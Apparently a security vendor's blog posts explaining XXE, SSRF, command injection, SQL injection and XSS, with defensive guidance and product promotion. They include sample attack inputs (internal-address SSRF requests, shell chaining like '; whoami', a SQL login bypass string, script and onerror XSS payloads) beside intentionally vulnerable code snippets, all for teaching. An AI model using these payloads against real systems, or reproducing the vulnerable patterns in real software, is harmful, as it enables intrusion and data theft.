    XXE hides because the vulnerable code looks finished. The parser works, valid notes import, tests pass. The risky behavior, resolving an external pointer, only shows up when someone sends a document built to exercise it. That gap between “the app accepts XML” and “the app will fetch whatever the XML points at” is an assumption no one wrote down. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, by asking what the parser will do rather than matching a known string. If you want the longer view on that approach, read more on the about page. Turn off the DOCTYPE, confirm it on every parser, and xxe injection stops being a hole you can walk through.

    Frequently asked questions

    What is XXE injection?

    XXE injection abuses the way an application reads XML. If the parser is set up to resolve external entities, a document can ask the server to open local files, reach internal services, or leak data to a server the attacker controls. See the PortSwigger Web Security Academy XXE topic for full walkthroughs.

    What is an external entity in XML?

    An external entity uses the SYSTEM keyword to pull its value from outside the document, named by a URI such as a file path or a network address. If the parser resolves it, the parser fetches that URI and inlines whatever comes back, which is how an attacker reads files like /etc/passwd without ever touching the disk.

    How do you prevent XXE injection?

    Disable DOCTYPE processing entirely in user supplied XML where you can, since that stops every entity trick at the door. As a second layer, disable external general and parameter entities and external DTD loading, and apply the same config to every parser in the app, including SOAP, SVG uploads, and SAML handling.

    What is blind XXE?

    Blind XXE is when the app does not echo the parsed value back, so the file read seems dead. An attacker can still steal data by pointing the document at an external DTD that builds a URL with the file contents and forces the parser to request it, reading the result from their own server logs. This is out of band exfiltration, and it shows that blind does not mean safe.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is SSRF? Server Side Request Forgery Explained

    What is SSRF? Server Side Request Forgery Explained

    Server side request forgery, or SSRF, is a flaw where an attacker supplies a URL and makes your server send the request on their behalf, reaching systems the attacker could never open directly. The user controls an address, the server fetches it, and the server’s trusted position on the network becomes the attacker’s. Any feature that takes a URL or a host name from a user and fetches it is a place SSRF can hide. This post explains how it works, why the cloud makes it worse, how to spot it, and how to shut it down.

    The examples use a made up app so nothing here points at a real target.

    What is server side request forgery?

    It is a server fetching whatever address a user hands it, a weakness catalogued by MITRE as CWE-918. Picture an app called Acme Notes. It has a friendly feature: paste a link and it pulls a preview image for you. Behind the scenes the server does something like this.

    POST /preview
    { "url": "https://example.com/photo.png" }

    The server reads that URL, makes the request itself, and sends the result back. That is the whole feature, and on a good day it is harmless. The problem is the server will fetch whatever you put there, including addresses that belong to the inside of the network, not the public internet.

    So an attacker stops sending a normal photo link and starts sending internal ones.

    POST /preview
    { "url": "http://localhost:8080/admin" }
    
    POST /preview
    { "url": "http://192.168.0.10/" }

    Your server happily reaches those, because to the network the request is coming from a trusted machine, not from a stranger. The user could never open http://localhost:8080/admin in their own browser. The server can, and you just lent it to them.

    Why is SSRF so dangerous in the cloud?

    It is dangerous in the cloud because the server’s own credentials sit one internal request away. On a normal server SSRF lets an attacker map and poke at internal services: admin panels, databases, message queues, and other apps that were never meant to face the public. In a cloud setup it gets worse, because most cloud providers expose a metadata service at a fixed internal address that hands out configuration and, in some setups, temporary credentials.

    If an app is vulnerable and the environment is not locked down, a request aimed at that internal metadata address can return secrets the attacker should never see. From there a small preview feature turns into a path toward the cloud account itself. That is the jump that makes SSRF a headline bug rather than a minor one, and the reason OWASP gives SSRF a category of its own in the Top 10 instead of filing it under general access control.

    SSRF is rarely about breaking the server. It is about borrowing its position on the network, which is far more useful than anything the attacker has from outside.

    Where does SSRF show up?

    It shows up in any feature that accepts an address and fetches it for you, which is a longer list than most teams expect.

    • Link previews and unfurlers. Anything that fetches a page to show a title or image.
    • Webhooks. You let users register a URL to receive events. The server calls it. That is SSRF by design unless you constrain it.
    • Document and image processors. Features that import a file from a URL, convert a page to a PDF, or load a remote image.
    • Imports by URL. “Import your data from this address” style features.
    • Hidden parameters. Fields like image_url, callback, dest, or feed buried in a request body.

    Some of these are blind, meaning you never see the response. The server still made the request, so an attacker can use timing or out of band tricks to confirm it. Blind does not mean safe.

    How do you find SSRF in an app?

    You find it by reading the app for the assumption it is making. The app assumes the URL you hand it points somewhere public and harmless. So you test that assumption directly.

    • List every feature that accepts a URL, host name, or address, including the ones hidden in JSON bodies and headers.
    • Point one at an address you control and watch whether the server actually calls it. If it does, the server is fetching user input.
    • Then ask the real question: can I aim it at something internal? Try a loopback address, a private range, and the cloud metadata address for your platform.
    • For blind cases, use a request listener you own so you can see the server reach out even when the app shows you nothing.

    This is the same habit behind most serious findings. You do not throw random payloads. You understand what the feature is for, notice the trust it is built on, and test whether that trust holds. For more on that mindset see how hackers find vulnerabilities.

    How do you prevent it?

    You prevent it by deciding, on the server, exactly where a request is allowed to go. You cannot fix the bug by blocking a list of bad strings, because there are too many ways to write the same address.

    • Use an allow list of destinations. If the feature only ever needs to reach three known providers, allow those and refuse everything else. An allow list beats a block list every time.
    • Resolve the host first, then check it. Turn the host name into an IP address and reject anything that lands on a private, loopback, or link local range. Do the check after resolving, so a name that quietly points inside cannot slip through. Our free SSRF IP and URL normalizer expands the encodings and shorthand that hide an internal address so you can see where a value really resolves.
    • Block the metadata address explicitly and require credentials on that service where your cloud supports it.
    • Do not follow redirects blindly. A public URL can redirect to an internal one. Re check the destination on every hop.
    • Isolate the fetcher. Run the part that makes outbound requests with no access to internal systems, so even a successful SSRF reaches nothing useful.

    The theme is the same as most access control work: the server has to own the decision about what is allowed, not trust the input. If that idea is useful, the web and API security glossary defines SSRF and the terms around it in one place.

    What should you take away?

    Take away that SSRF is a quiet bug. The request looks ordinary, the feature works as designed, and the only thing wrong is where the server is willing to go. That is exactly the kind of assumption an autonomous researcher that studies how an app is meant to work is built to test, by understanding the feature, forming an idea about where the trust breaks, and proving it before calling it a finding. You can read more about UnboundCompute if that approach is interesting.

    Frequently asked questions

    What is server side request forgery in simple terms?

    Server side request forgery, or SSRF, is a bug where an attacker supplies a URL and the server fetches it on their behalf, which lets the attacker reach addresses they could never open directly. Because the request comes from a trusted machine, the server can reach internal services like admin panels and databases. See the PortSwigger Web Security Academy SSRF topic for worked examples.

    Why is SSRF so dangerous in cloud environments?

    Most cloud providers expose a metadata service at a fixed internal address that can hand out configuration and, in some setups, temporary credentials. If an app is vulnerable and the environment is not locked down, a request aimed at that address can return secrets, which turns a small preview feature into a path toward the whole cloud account.

    How do you prevent SSRF?

    Decide on the server exactly where a request is allowed to go, using an allow list of known destinations rather than a block list of bad strings. Resolve the host name to an IP first and reject private, loopback, or link local ranges, block the metadata address, and do not follow redirects blindly.

    What is blind SSRF?

    Blind SSRF is when the server makes the request but never shows you the response. The attack still works, because an attacker can confirm the server reached out using timing or a request listener they own. Blind does not mean safe.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: SSRF IP and URL Normalizer lets you normalize a URL the way a vulnerable fetcher would and see what host it resolves to. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • What is command injection? Examples explained

    What is command injection? Examples explained

    Command injection is one of the oldest and most dangerous web bugs, and it is also one of the easiest to understand once you see it in action. It happens when an app takes input from a user, drops that input into a system command, and runs the whole thing in a shell. If the app trusts the input too much, the user can append their own commands and make the server run them.

    What command injection means

    The short version of the command injection meaning is this: your app wanted to run one command, but the attacker tricked it into running two. The first is the command you intended. The second is whatever the attacker tacked on. The shell happily runs both because, to the shell, it is just text.

    The root cause is mixing two things that should stay apart: data (the value a user typed) and code (the command the server runs). When user data flows straight into a command string, the data can change what command runs. That is the whole bug in one sentence.

    The app meant to run one command. The attacker made it run two. The shell cannot tell your intent from their input, so it runs both.

    A simple command injection example

    Let us invent a small app called Acme Netcheck. It is a network tool with one feature: you give it a hostname, and it pings that host so you can see if the host is reachable. The form has one field named host, and the backend runs a ping for you.

    Here is the kind of code that causes the problem. This is written to show the mistake, not to copy:

    # DANGEROUS: user input goes straight into a shell command
    host = request.form["host"]
    command = "ping -c 1 " + host
    output = os.popen(command).read()
    return output
    

    If a normal user types example.com, the server builds and runs this:

    ping -c 1 example.com
    

    That works as intended. The trouble starts when someone types something that is not just a hostname. On a typical shell, a semicolon ends one command and starts another. So an attacker types this into the same field:

    example.com; whoami
    

    Now the server builds and runs this:

    ping -c 1 example.com; whoami
    

    The shell runs the ping, then runs whoami, and the app returns the output of both. The attacker just learned which user the web server runs as. They did not break into anything clever. They only added a semicolon and a second command to a field that was supposed to hold a hostname.

    Other command injection examples that work the same way

    The semicolon is one of several shell characters that chain or redirect commands. These all let an attacker smuggle a second command into a single input field:

    • example.com && whoami runs whoami only if the ping succeeds.
    • example.com | whoami pipes the first command into the second.
    • $(whoami) or `whoami` runs the inner command and pastes its result back in.

    These are command injection examples you will see again and again because the cause is identical every time: input was treated as part of a command instead of as plain text.

    Attackers often hide the second command so it slips past a quick glance in logs or a filter, wrapping it in base64 or another layer of encoding before the shell decodes and runs it. When you are staring at a suspicious payload like that, our free encoded payload deobfuscator peels back common encodings so you can read what the command was actually going to do.

    Why command injection is so serious

    With SQL injection, an attacker reaches your database. With command injection, the attacker reaches the operating system itself, running as whatever user your app runs as. That is a wider blast radius. Once they can run shell commands on your server, they can:

    • Read files the app can read, including config files and secrets like API keys and database passwords.
    • Reach other machines on the internal network that the server can talk to but you cannot reach from outside.
    • Install a backdoor or a reverse shell so they can come back later.

    A field meant to hold a hostname turned into full control of a server. That is why this bug class sits near the top of every serious security list.

    How to fix command injection

    The strongest fix is to stop building shell command strings out of user input. Most of the time you do not need a shell at all.

    Do not shell out when an API exists

    If you only need to read a file, use the file API in your language. If you need to make an HTTP request, use an HTTP library. Reaching for a shell command to do a job your language already does is the start of most of these bugs. No shell means no shell injection.

    If you must run a program, pass arguments as a list

    When you genuinely need to run an external program, call it directly and pass each argument as a separate list item instead of as one big string. Most languages support this. In Python it looks like this:

    # Safer: no shell, arguments passed as a list
    import subprocess
    host = request.form["host"]
    output = subprocess.run(
        ["ping", "-c", "1", host],
        capture_output=True, text=True
    ).stdout
    

    Here host is handed to ping as a single argument. There is no shell to interpret the semicolon, so example.com; whoami is passed to ping as one odd hostname, which fails to resolve. The second command never runs.

    Validate input with an allowlist

    Defense in depth helps too. Decide exactly what valid input looks like and reject everything else. For a hostname, you can allow only letters, digits, dots, and hyphens, and reject anything else before the value goes near a command:

    import re
    host = request.form["host"]
    if not re.fullmatch(r"[A-Za-z0-9.-]+", host):
        return "Invalid host", 400
    

    An allowlist describes what you accept. A blocklist tries to list every bad character and always misses some. Prefer the allowlist.

    Lower the impact when things go wrong

    Run the app as a low privilege user, not as root. Limit what that user can read and which machines it can reach. None of this fixes the bug, but it shrinks the damage if one slips through. You can read more patterns like this in our guide to injection and input bugs.

    How to spot it in your own code

    Search your codebase for the places where commands get run. Look for os.system, os.popen, subprocess calls with shell=True, backticks, exec, and eval. For each one, ask a single question: does any part of this command come from a request, a form, a URL, a header, or a file an outside user can influence? If yes, treat it as suspect and fix it with the steps above.

    Command injection survives because the dangerous code reads as harmless. Joining a string and running it looks fine in review. The bug only shows when someone tries the input you did not expect. This is exactly the kind of assumption an autonomous researcher that tests how an app really behaves is built to find. To see how we think about bugs like this, read more about UnboundCompute.

    Frequently asked questions

    What is command injection?

    It is a bug where user input flows into a system command that the server runs in a shell, so the user can append their own command and make the server run it. The root cause is mixing data, the value a user typed, with code, the command the server runs. See the OWASP command injection guide for more.

    How is command injection different from SQL injection?

    SQL injection reaches your database, while command injection reaches the operating system itself, running as whatever user the app runs as. That is a wider blast radius, because an attacker who can run shell commands can read config files and secrets, reach internal machines, and install a backdoor.

    How do you prevent command injection?

    The strongest fix is to avoid building shell command strings from user input at all, since most jobs have a direct API in your language. If you must run a program, call it directly and pass each argument as a separate list item, for example subprocess.run(["ping", "-c", "1", host]) in Python, so no shell interprets the input. Add an allowlist for the input and run the app as a low privilege user to limit damage.

    How do I find command injection in my own code?

    Search for places that run commands, such as os.system, os.popen, subprocess calls with shell=True, backticks, exec, and eval. For each one, ask whether any part of the command comes from a request, form, URL, header, or file an outside user can influence, and if so treat it as suspect. The matching weakness is tracked as CWE-78.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is SQL injection and how does it work?

    What is SQL injection and how does it work?

    SQL injection is one of the oldest bugs on the web, and it still shows up in real applications today. At its core, SQL injection happens when an application builds a database query by gluing user input directly into the query text, so an attacker can send input that changes what the query means. This post explains what SQL injection is and how it works, with a small login example you can read in a minute.

    What is SQL injection in plain terms

    A web app talks to its database using SQL, a language for asking questions like “find the user with this email.” When the app writes that question, it often needs to drop in a value the user typed, like an email or a password. The safe way is to keep that value as data. The unsafe way is to paste it straight into the query string. When the app pastes it in, the user controls part of the query, not just part of the answer.

    Here is the key idea. The database cannot tell the difference between the query the developer meant to write and the extra query syntax the attacker typed. It just runs whatever text it receives. So if the input contains quotes, operators, or SQL keywords, those become part of the command.

    If user input can change the structure of a query instead of just the values inside it, the user is writing your SQL for you.

    How does SQL injection work in a login query

    Imagine a login form on an invented app called Acme Notes. The server takes the email and password and builds a query by string concatenation. In a backend language this might look like the following.

    query = "SELECT id FROM users WHERE email = '" + email + "' AND password = '" + password + "'"

    If a normal user types alice@example.com and hunter2, the final query is exactly what the developer expected.

    SELECT id FROM users WHERE email = 'alice@example.com' AND password = 'hunter2'

    Now look at what happens when an attacker types ' OR '1'='1 into the email field and leaves the password blank or fills it with anything. The concatenation produces this.

    SELECT id FROM users WHERE email = '' OR '1'='1' AND password = ''

    The attacker’s quote closed the email string early, and the added OR '1'='1' is a condition that is always true. The query no longer asks “is this the right email and password.” It asks something the developer never wrote. Depending on how the rows come back, this can return a user record and let the attacker through the login without knowing any real credentials. The same trick, with different syntax, can read data the attacker should never see.

    Why the quote matters

    The single quote is the turning point. Inside the query, a quote marks the start and end of a text value. When user input is allowed to contain its own quote, it can break out of the value and into the command. Everything after the breakout is treated as SQL, not as data. That is the whole mechanism in one sentence.

    What is the purpose of an SQL injection and what can an attacker do

    The purpose of an SQL injection, from the attacker’s side, is to make the database run commands the application never intended. Once they can shape the query, the range of damage is wide.

    • Bypass login, as shown above, by forcing a condition to be true.
    • Read other people’s data, like dumping every row in the users table or pulling password hashes, order history, or private notes.
    • Change or delete data, by injecting an UPDATE or DELETE when the query allows it.
    • Probe blindly, where the app shows no data but behaves differently for true and false conditions, so the attacker reads the database one yes or no answer at a time.
    • Reach further in, since on some setups a database account has enough rights to read files or run system commands.

    The common thread is trust. The app trusted that the email field held an email. The attacker proved that assumption wrong.

    Why SQL injection still happens

    This bug class has been understood for over twenty years, so it is fair to ask why it keeps appearing. A few honest reasons.

    • String building feels natural. Concatenating a query reads like normal code, and it works in testing because testers type ordinary input.
    • It hides in corners. The main login form might be safe while a search filter, an export feature, or an admin report still pastes input into a query.
    • ORMs are not a free pass. Many query builders are safe by default, but most also offer a raw query escape hatch, and that is where the bug sneaks back in.
    • Inputs you forget about. Headers, cookies, and JSON fields all reach the database too, not just visible form boxes.

    How to fix and prevent it

    The fix is direct, and it is the same idea every time. Keep user input as data, never as query structure. The standard tool for that is parameterized queries, also called prepared statements.

    Use parameterized queries

    With a parameterized query, you write the SQL once with placeholders, then pass the values separately. The database treats those values as pure data, so a quote in the input is just a quote, not a command. Here is the same login, done safely.

    query = "SELECT id FROM users WHERE email = ? AND password_hash = ?"
    db.execute(query, [email, password_hash])

    Now if someone sends ' OR '1'='1, the database looks for a user whose email is literally the string ' OR '1'='1. It finds none, and the login fails as it should. The attacker lost the ability to change the query’s shape.

    Back it up with more layers

    • Hash passwords and compare hashes, so a query never holds a raw password to begin with.
    • Validate input against what you expect, such as an email format, to reject obvious junk early. Treat this as a helper, not the main defense.
    • Limit database rights, so the account the app uses cannot drop tables or read files it never needs.
    • Review the raw query paths, since those escape hatches are where injection survives. Search the code for places that build a query from a string.

    If you want more on this family of bugs and how to catch them, the injection and input category collects related explainers.

    How to tell if your app has this bug

    Finding SQL injection is less about throwing payloads and more about understanding which inputs reach a query and what the app assumes about them. A scanner can flag the obvious cases. The harder ones live in the assumptions, like a report filter that quietly trusts a sort parameter, or a search field that an ORM passes through as raw SQL. Those need someone, or something, that reads how the app is meant to work and then tests where that logic could break.

    SQL injection is a clear example of one trusted assumption, that an input is only data, turning into full control of a query. This is exactly the kind of bug an autonomous researcher that tests an application’s assumptions is built to find and then prove with real evidence. You can read more about that approach on the about page.

    Frequently asked questions

    What is SQL injection in simple terms?

    SQL injection is a bug where an application builds a database query by pasting user input straight into the query text, so an attacker can send input that changes what the query does instead of just supplying a value. The database runs the whole string, so a quote or keyword in the input becomes part of the command. See the OWASP SQL Injection page for more.

    How does a SQL injection login bypass work?

    The attacker types something like ' OR '1'='1 into a field that gets concatenated into the query. The added quote closes the string early and the always true condition makes the WHERE clause match a row, so the login can succeed without a real password.

    How do you prevent SQL injection?

    Use parameterized queries, also called prepared statements, so the SQL is written with placeholders and the values are passed separately as pure data. Then a quote in the input stays a quote and cannot change the query structure. Back this up by limiting database account rights and reviewing any raw query paths.

    Can an ORM stop SQL injection on its own?

    Not entirely. Many query builders are safe by default, but most also offer a raw query escape hatch, and that is where injection sneaks back in. You still need to review every place that builds a query from a string.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is XSS and how does it work? With examples

    What is XSS and how does it work? With examples

    If you have ever wondered what is XSS and how does it work, the short answer is this: cross site scripting happens when an app takes input from one user and hands it to another user’s browser as code instead of plain text. The browser runs that code with the same trust it gives the real site. That means an attacker can read cookies, change the page, or act as the victim.

    What cross site scripting actually is

    A web page mixes two kinds of content. There is the markup and script the site author wrote, and there is data, like a comment, a search term, or a username. The browser cannot tell them apart on its own. It trusts whatever the server sends. Cross site scripting is the bug where attacker data crosses over and becomes script.

    Here is the core idea. A user types a comment. The app stores it. Later the app prints that comment back into the HTML of a page. If the app prints it raw, and the comment contains a <script> tag, the tag runs in the next reader’s browser. The attacker never touched that reader. The site delivered the payload for them.

    The browser runs attacker text as code because the app never told it where the data ends and the markup begins.

    Why it matters

    Script that runs on the page runs as the logged in user. It can read document.cookie if the session cookie is not protected, submit forms, or quietly change account settings. The attacker does not need the victim’s password. They borrow the victim’s open session.

    The three types of XSS, with simple examples

    People sort cross site scripting into three buckets based on where the bad input lives and how it reaches the browser. The examples below use an invented app called Acme Notes, a small site where people post public notes and comments. None of these target a real system.

    Stored XSS

    Stored XSS means the payload is saved in the database and served to everyone who views the page. It is the worst of the three because one submission can hit many users. This is a clear stored xss example.

    Imagine the comment box on Acme Notes. A visitor submits this in the comment field:

    <script>alert('xss')</script>

    The app saves the text as is. When the note page renders, it builds the HTML like this on the server:

    <div class="comment">
      <script>alert('xss')</script>
    </div>

    Now every person who opens that note runs the script. The alert('xss') is harmless on its own. It only pops a box. But a real attacker would swap it for code that reads the session cookie and sends it to a server they control. Same hole, worse payload.

    Reflected XSS

    Reflected XSS means the payload is not stored. It rides in the request, usually in a URL, and the server reflects it straight back into the response. The victim has to open a crafted link. This is a plain reflected xss example.

    Say Acme Notes has a search page that shows what you searched for:

    https://acme-notes.example/search?q=hello

    The page prints: You searched for: hello. If the app prints the q value raw, an attacker can build a link where q is a script:

    https://acme-notes.example/search?q=<script>alert('xss')</script>

    Anyone who clicks that link runs the script in their own browser, on the real Acme Notes domain. The attacker sends the link by email or chat. The bug is on the page, but the trigger is the click.

    DOM based XSS

    DOM based XSS happens fully in the browser. The server may send clean HTML, but client JavaScript reads attacker input and writes it into the page in an unsafe way. The dangerous step is in the script the site already ships.

    Suppose Acme Notes shows a welcome banner using the part of the URL after the #:

    const name = location.hash.slice(1);
    document.getElementById('banner').innerHTML = 'Hi ' + name;

    Now an attacker shares this link:

    https://acme-notes.example/#<img src=x onerror=alert('xss')>

    The innerHTML assignment turns the text into real elements. The broken image fires its onerror handler, and the script runs. The server never saw the payload, because the part after # never leaves the browser. That is why server side filters miss it.

    What is XSS and how does it work under the hood

    Every variant of cross site scripting comes from one root cause. The app treats untrusted input as trusted output. The fix is to keep data as data the whole way through. There are two layers that do most of the work.

    Output encoding

    Encode data for the exact spot where it lands. When you put user text inside HTML, convert the characters that have meaning in HTML so the browser shows them instead of running them:

    • < becomes &lt;
    • > becomes &gt;
    • & becomes &amp;
    • " becomes &quot;

    After encoding, the earlier stored payload renders as visible text:

    <div class="comment">
      &lt;script&gt;alert('xss')&lt;/script&gt;
    </div>

    The reader sees the literal characters and nothing runs. Most template engines do this for you if you use their normal output syntax instead of a raw or unescaped output. Encoding depends on context. HTML body, an HTML attribute, JavaScript, and a URL each need their own encoding rules, so use a library that knows the difference rather than rolling your own escapes.

    Avoid the unsafe sinks

    For DOM based bugs, stop feeding untrusted input into sinks that parse HTML or run code. Reach for safe ones instead:

    • Use textContent instead of innerHTML when you only need text.
    • Avoid eval, setTimeout with a string, and document.write on user input.
    • Set attributes with setAttribute rather than building HTML strings by hand.

    Content Security Policy

    A Content Security Policy is a response header that tells the browser which scripts are allowed to run. It is a second line of defense, not a replacement for encoding. A strict policy blocks inline scripts and scripts from domains you did not approve:

    Content-Security-Policy: default-src 'self'; script-src 'self'

    With that header, an injected inline <script> is refused even if it slips into the page. Pair it with the HttpOnly flag on session cookies so script cannot read them through document.cookie. Layered defenses mean one mistake does not hand over the account. To find the weak spots in a policy before you ship it, our free Content Security Policy evaluator audits each directive and flags bypassable sources. You can check whether a site sets a strong policy and the rest of its security headers with our free security headers and CSP analyzer, which runs entirely in your browser.

    How to spot it before an attacker does

    Finding cross site scripting is partly about knowing where input flows. Trace every place the app reads input, then follow it to every place that input is written back out. Comment fields, search boxes, profile names, URL parameters, and error messages that echo your input are common starting points. For a wider tour of input bugs, see our injection and input category.

    The hard cases are the ones that depend on how the app assumes its own data behaves, like a field that is encoded in one view and printed raw in another. Those gaps show up when you understand what the app expects, not just when you throw a list of payloads at it. This is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find and then prove with real evidence. You can read more about that approach on our about page.

    Frequently asked questions

    What is XSS and how does it work?

    Cross site scripting, or XSS, happens when an app takes input from one user and hands it to another user’s browser as code instead of plain text. The browser runs that code with the same trust it gives the real site, so an attacker can read cookies, change the page, or act as the victim. The root cause is that the app treats untrusted input as trusted output. Learn more at the PortSwigger Web Security Academy.

    What are the three types of XSS?

    Stored, reflected, and DOM based. Stored XSS saves the payload in the database and serves it to everyone who views the page, which makes it the worst because one submission can hit many users. Reflected XSS rides in a request such as a URL and is echoed straight back, so the victim has to open a crafted link. DOM based XSS happens fully in the browser when client JavaScript writes attacker input into the page unsafely.

    How do I prevent cross site scripting?

    Keep data as data the whole way through. Encode user input for the exact context where it lands, so characters like < and > render as visible text instead of running, and let your template engine’s normal output syntax handle it rather than rolling your own escapes. For DOM bugs, prefer safe sinks like textContent over innerHTML and avoid eval and document.write on user input.

    Does a Content Security Policy stop XSS on its own?

    No. A Content Security Policy is a second line of defense, not a replacement for output encoding. A strict policy like default-src 'self'; script-src 'self' blocks inline scripts and scripts from domains you did not approve, so an injected inline script is refused even if it slips into the page. Pair it with the HttpOnly flag on session cookies so script cannot read them, since layered defenses mean one mistake does not hand over the account.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.